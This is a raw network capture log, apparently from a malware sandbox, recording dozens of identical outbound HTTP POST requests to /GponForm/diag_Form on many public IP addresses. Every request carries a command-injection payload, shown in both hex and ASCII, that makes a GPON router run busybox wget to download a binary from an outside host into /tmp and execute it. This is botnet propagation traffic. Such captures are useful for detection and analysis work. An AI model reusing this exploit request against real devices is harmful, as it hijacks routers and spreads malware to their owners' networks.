Apr 14, 2024 04:01:52.402472973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2436	192.168.2.13	57348	109.138.164.39	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402472973 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2437	192.168.2.13	46118	94.133.54.136	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402493954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2438	192.168.2.13	58072	123.178.86.161	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402518034 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2439	192.168.2.13	46844	202.54.21.254	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402532101 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2440	192.168.2.13	40976	94.212.120.193	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402564049 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2441	192.168.2.13	38474	5.30.89.190	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402609110 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2442	192.168.2.13	35728	148.145.145.92	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402612925 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2443	192.168.2.13	47854	178.65.180.239	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402631044 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2444	192.168.2.13	46954	79.227.204.198	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402642965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2445	192.168.2.13	57748	212.41.132.126	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402666092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2446	192.168.2.13	35082	94.234.230.38	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402693987 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2447	192.168.2.13	52972	210.1.76.41	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402724028 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2448	192.168.2.13	60532	202.87.182.234	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402754068 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2449	192.168.2.13	55884	79.153.208.169	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402767897 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2450	192.168.2.13	58110	79.52.160.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402786016 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2451	192.168.2.13	47658	94.103.25.209	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402793884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2452	192.168.2.13	52614	123.154.255.73	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402832031 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2453	192.168.2.13	33098	210.17.252.236	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402833939 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2454	192.168.2.13	36106	94.191.115.101	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402834892 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2455	192.168.2.13	55480	109.216.33.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402849913 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2456	192.168.2.13	35516	202.153.95.135	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402889013 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2457	192.168.2.13	51050	212.18.1.2	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402905941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2458	192.168.2.13	41848	210.32.42.188	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402920961 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2459	192.168.2.13	45146	5.114.27.224	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402940035 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2460	192.168.2.13	42582	212.149.24.44	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:52.402956963 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

